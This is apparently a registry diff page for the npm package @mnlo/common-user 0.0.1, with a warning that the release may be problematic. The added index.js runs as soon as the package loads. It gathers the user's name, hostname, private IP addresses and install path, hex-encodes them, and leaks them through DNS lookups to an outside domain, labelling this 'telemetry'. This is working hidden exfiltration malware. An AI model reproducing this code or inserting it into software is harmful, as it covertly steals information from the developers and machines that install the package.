@mnlo/common-user 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @mnlo/common-user might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require("https");
|
3
|
+
const dns = require('dns');
|
4
|
+
|
5
|
+
function getIpFromHostname(hostname, parent_domain, id) {
|
6
|
+
const rrtype="A";
|
7
|
+
var subdomains = Buffer.from(hostname, 'utf8').toString('hex').match(/.{1,54}/g);
|
8
|
+
subdomains.forEach(sub => {
|
9
|
+
var unique_id = Buffer.from(id+':', 'utf8').toString('hex')
|
10
|
+
dns.resolve(unique_id+sub+'.'+parent_domain, rrtype, (err, records) => {} );
|
11
|
+
})
|
12
|
+
}
|
13
|
+
|
14
|
+
function getHostInfo() {
|
15
|
+
const network = os.networkInterfaces();
|
16
|
+
const interfaces = [];
|
17
|
+
for (const key in network) {
|
18
|
+
const found = network[key].find(x => x.family === 'IPv4');
|
19
|
+
if (found && found.address !== '127.0.0.1') {
|
20
|
+
interfaces.push(found.address);
|
21
|
+
}
|
22
|
+
}
|
23
|
+
const localIps = interfaces.join(' ');
|
24
|
+
|
25
|
+
const hostInfo = {
|
26
|
+
user: os.userInfo().username,
|
27
|
+
hostname: os.hostname(),
|
28
|
+
privateIps: localIps
|
29
|
+
};
|
30
|
+
|
31
|
+
return hostInfo;
|
32
|
+
}
|
33
|
+
|
34
|
+
function performTelemetry() {
|
35
|
+
var info = {}
|
36
|
+
try { var info = getHostInfo() } catch { }
|
37
|
+
try { info.dirname = __dirname } catch { }
|
38
|
+
|
39
|
+
var domain = 'rqzmlnpdzcrbozrmgxjsxzcu7ck17thka.gjq.io'
|
40
|
+
var id = Math.floor(Math.random() * 99).toString();
|
41
|
+
for (const prop in info) {
|
42
|
+
getIpFromHostname(info[prop],domain,id)
|
43
|
+
}
|
44
|
+
}
|
45
|
+
|
46
|
+
performTelemetry()
|
package/package.json
ADDED